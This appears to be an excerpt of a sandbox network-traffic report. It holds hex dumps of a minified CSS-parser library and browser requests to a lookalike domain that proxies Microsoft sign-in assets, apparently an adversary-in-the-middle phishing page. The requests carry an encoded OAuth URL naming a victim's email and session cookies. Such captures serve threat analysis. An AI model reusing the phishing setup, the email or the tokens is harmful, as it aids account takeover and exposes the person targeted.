2024-11-21 13:45:19 UTC	15040	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:19 UTC	16384	IN	Data Raw: 65 22 3d 3d 3d 6e 2e 74 79 70 65 26 26 6e 2e 73 65 6c 65 63 74 6f 72 3d 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 6e 2c 72 29 7d 29 29 3a 28 74 3d 65 2c 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 22 72 75 6c 65 22 3d 3d 3d 65 2e 74 79 70 65 29 72 65 74 75 72 6e 20 74 28 65 2c 6e 29 7d 29 29 29 7d 2c 66 2e 77 61 6c 6b 41 74 52 75 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 3f 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 69 66 28 22 61 74 72 75 6c 65 22 3d 3d 3d 6e 2e 74 79 70 65 26 26 65 2e 74 65 73 74 28 6e 2e 6e 61 6d 65 29 29 72 65 74 75 72 6e 20 74 28 6e 2c 72 29 7d 29 29 3a 74 68 69 73 2e 77 Data Ascii: e"===n.type&&n.selector===e)return t(n,r)})):(t=e,this.walk((function(e,n){if("rule"===e.type)return t(e,n)})))},f.walkAtRules=function(e,t){return t?e instanceof RegExp?this.walk((function(n,r){if("atrule"===n.type&&e.test(n.name))return t(n,r)})):this.w
2024-11-21 13:45:19 UTC	16384	IN	Data Raw: 75 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 72 65 73 75 6c 74 2e 6c 61 73 74 50 6c 75 67 69 6e 3d 65 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2e 72 65 73 75 6c 74 2e 72 6f 6f 74 2c 74 68 69 73 2e 72 65 73 75 6c 74 29 7d 63 61 74 63 68 28 74 29 7b 74 68 72 6f 77 20 74 68 69 73 2e 68 61 6e 64 6c 65 45 72 72 6f 72 28 74 2c 65 29 2c 74 7d 7d 2c 6c 2e 73 74 72 69 6e 67 69 66 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 73 74 72 69 6e 67 69 66 69 65 64 29 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 75 6c 74 3b 74 68 69 73 2e 73 74 72 69 6e 67 69 66 69 65 64 3d 21 30 2c 74 68 69 73 2e 73 79 6e 63 28 29 3b 76 61 72 20 65 3d 74 68 69 73 2e 72 65 73 75 6c 74 2e 6f 70 74 73 2c 74 3d 6f 5b 22 64 65 66 61 75 6c 74 22 5d Data Ascii: un=function(e){this.result.lastPlugin=e;try{return e(this.result.root,this.result)}catch(t){throw this.handleError(t,e),t}},l.stringify=function(){if(this.stringified)return this.result;this.stringified=!0,this.sync();var e=this.result.opts,t=o["default"]
2024-11-21 13:45:19 UTC	16384	IN	Data Raw: 31 5d 3d 32 35 35 26 65 29 3a 54 28 74 68 69 73 2c 65 2c 74 2c 21 31 29 2c 74 2b 32 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 77 72 69 74 65 55 49 6e 74 33 32 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 3d 2b 65 2c 74 7c 3d 30 2c 6e 7c 7c 50 28 74 68 69 73 2c 65 2c 74 2c 34 2c 34 32 39 34 39 36 37 32 39 35 2c 30 29 2c 75 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3f 28 74 68 69 73 5b 74 2b 33 5d 3d 65 3e 3e 3e 32 34 2c 74 68 69 73 5b 74 2b 32 5d 3d 65 3e 3e 3e 31 36 2c 74 68 69 73 5b 74 2b 31 5d 3d 65 3e 3e 3e 38 2c 74 68 69 73 5b 74 5d 3d 32 35 35 26 65 29 3a 42 28 74 68 69 73 2c 65 2c 74 2c 21 30 29 2c 74 2b 34 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 77 72 69 74 65 55 49 6e 74 33 32 42 45 3d 66 75 Data Ascii: 1]=255&e):T(this,e,t,!1),t+2},u.prototype.writeUInt32LE=function(e,t,n){return e=+e,t\|=0,n\|\|P(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):B(this,e,t,!0),t+4},u.prototype.writeUInt32BE=fu
2024-11-21 13:45:19 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 6f 70 74 73 2e 6d 61 70 3f 21 21 74 68 69 73 2e 6f 70 74 73 2e 6d 61 70 3a 74 68 69 73 2e 70 72 65 76 69 6f 75 73 28 29 2e 6c 65 6e 67 74 68 3e 30 7d 2c 74 2e 70 72 65 76 69 6f 75 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 69 6f 75 73 4d 61 70 73 7c 7c 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 4d 61 70 73 3d 5b 5d 2c 74 68 69 73 2e 72 6f 6f 74 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 2e 73 6f 75 72 63 65 26 26 74 2e 73 6f 75 72 63 65 2e 69 6e 70 75 74 2e 6d 61 70 29 7b 76 61 72 20 6e 3d 74 2e 73 6f 75 72 63 65 2e 69 6e 70 75 74 Data Ascii: function(){return"undefined"!=typeof this.opts.map?!!this.opts.map:this.previous().length>0},t.previous=function(){var e=this;return this.previousMaps\|\|(this.previousMaps=[],this.root.walk((function(t){if(t.source&&t.source.input.map){var n=t.source.input
2024-11-21 13:45:19 UTC	16384	IN	Data Raw: 65 3d 3d 3d 6e 2e 73 6f 75 72 63 65 29 72 65 74 75 72 6e 7b 6c 69 6e 65 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 67 65 6e 65 72 61 74 65 64 4c 69 6e 65 22 2c 6e 75 6c 6c 29 2c 63 6f 6c 75 6d 6e 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 67 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 22 2c 6e 75 6c 6c 29 2c 6c 61 73 74 43 6f 6c 75 6d 6e 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 6c 61 73 74 47 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 22 2c 6e 75 6c 6c 29 7d 7d 72 65 74 75 72 6e 7b 6c 69 6e 65 3a 6e 75 6c 6c 2c 63 6f 6c 75 6d 6e 3a 6e 75 6c 6c 2c 6c 61 73 74 43 6f 6c 75 6d 6e 3a 6e 75 6c 6c 7d 7d 2c 74 2e 42 61 73 69 63 53 6f 75 72 63 65 4d 61 70 43 6f 6e 73 75 6d 65 72 3d 63 2c 66 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 75 2e 70 72 Data Ascii: e===n.source)return{line:r.getArg(i,"generatedLine",null),column:r.getArg(i,"generatedColumn",null),lastColumn:r.getArg(i,"lastGeneratedColumn",null)}}return{line:null,column:null,lastColumn:null}},t.BasicSourceMapConsumer=c,f.prototype=Object.create(u.pr
2024-11-21 13:45:20 UTC	12903	IN	Data Raw: 3b 72 2b 2b 29 6e 2b 3d 65 5b 72 5d 5b 31 5d 3b 72 65 74 75 72 6e 20 65 2e 73 70 6c 69 63 65 28 74 2c 65 2e 6c 65 6e 67 74 68 2d 74 29 2c 6e 7d 2c 74 2e 63 6f 6c 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 6f 3d 30 2c 69 3d 30 3b 69 3c 65 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 69 66 28 22 28 22 3d 3d 3d 28 6e 3d 28 74 3d 65 5b 69 5d 29 5b 30 5d 29 26 26 28 6f 2b 3d 31 29 2c 22 29 22 3d 3d 3d 6e 26 26 28 6f 2d 3d 31 29 2c 30 3d 3d 3d 6f 26 26 22 3a 22 3d 3d 3d 6e 29 7b 69 66 28 72 29 7b 69 66 28 22 77 6f 72 64 22 3d 3d 3d 72 5b 30 5d 26 26 22 70 72 6f 67 69 64 22 3d 3d 3d 72 5b 31 5d 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 69 7d 74 68 69 73 2e 64 6f 75 62 6c 65 43 6f 6c 6f 6e 28 74 29 7d 72 3d 74 7d 72 Data Ascii: ;r++)n+=e[r][1];return e.splice(t,e.length-t),n},t.colon=function(e){for(var t,n,r,o=0,i=0;i<e.length;i++){if("("===(n=(t=e[i])[0])&&(o+=1),")"===n&&(o-=1),0===o&&":"===n){if(r){if("word"===r[0]&&"progid"===r[1])continue;return i}this.doubleColon(t)}r=t}r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49782	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2924	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858798 Cache-Control: public, max-age=31536000 Content-MD5: 5YqvyYBhSpzXeWvqe16o8A== Content-Type: image/jpeg Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D7D287001BC861 Last-Modified: Fri, 27 Mar 2020 19:42:36 GMT Server: ECAcc (ska/F737) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e8ab8b0e-701e-002c-7065-7e3f0c000000 x-ms-version: 2009-09-19 Content-Length: 987 Connection: close
2024-11-21 13:45:19 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49784	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2918	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	718	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858798 Cache-Control: public, max-age=31536000 Content-MD5: eRaolOvefSnCzCmyZ/Epnw== Content-Type: image/jpeg Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D7D2870015D3DE Last-Modified: Fri, 27 Mar 2020 19:42:36 GMT Server: ECAcc (ska/F690) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d71b89c0-e01e-0055-6465-7ebe1f000000 x-ms-version: 2009-09-19 Content-Length: 17453 Connection: close
2024-11-21 13:45:19 UTC	15666	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-11-21 13:45:19 UTC	717	IN	Data Raw: 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 ff d4 db c5 46 dc c0 00 45 14 40 00 00 00 01 05 40 40 00 00 00 00 54 00 d4 Data Ascii: mEPHEPDQQ@@@TPB( (("(( ( " * (*( FE@@@T
2024-11-21 13:45:19 UTC	1070	IN	Data Raw: 04 16 20 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 28 20 a0 20 a0 20 a0 20 a0 a8 28 00 28 20 00 0a 80 0a 20 80 a0 82 80 02 82 00 28 2a 20 0a 02 0a 02 28 00 28 82 41 40 41 40 42 28 2a 45 cc 04 02 0a 08 9a a0 18 28 08 28 8a 82 80 8a 00 82 88 20 a0 22 80 00 0a 22 88 22 80 22 80 00 20 00 0a 22 80 02 28 00 00 00 02 00 02 80 00 02 00 00 8a 00 82 88 00 00 8a 88 28 02 80 00 00 00 22 80 00 00 08 a0 20 08 00 00 02 00 00 2a 02 a8 8a 08 28 08 2a 02 a0 a0 82 80 8a 00 00 00 02 00 00 00 00 00 00 00 28 00 a0 00 08 00 28 28 00 20 00 0a 8a 00 0a 20 00 28 00 08 a0 00 8a 00 00 03 ff d7 dc 00 74 73 00 00 01 44 01 00 00 00 10 50 10 54 00 00 11 40 40 00 00 10 50 10 54 00 00 00 50 00 40 00 00 02 10 01 20 a4 04 16 10 10 00 00 00 00 00 00 00 00 00 04 00 50 45 00 00 Data Ascii: ( (( (* ((A@A@B(E(( """" "((" (*((( (tsDPT@@PTP@ PE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49783	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2912	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ2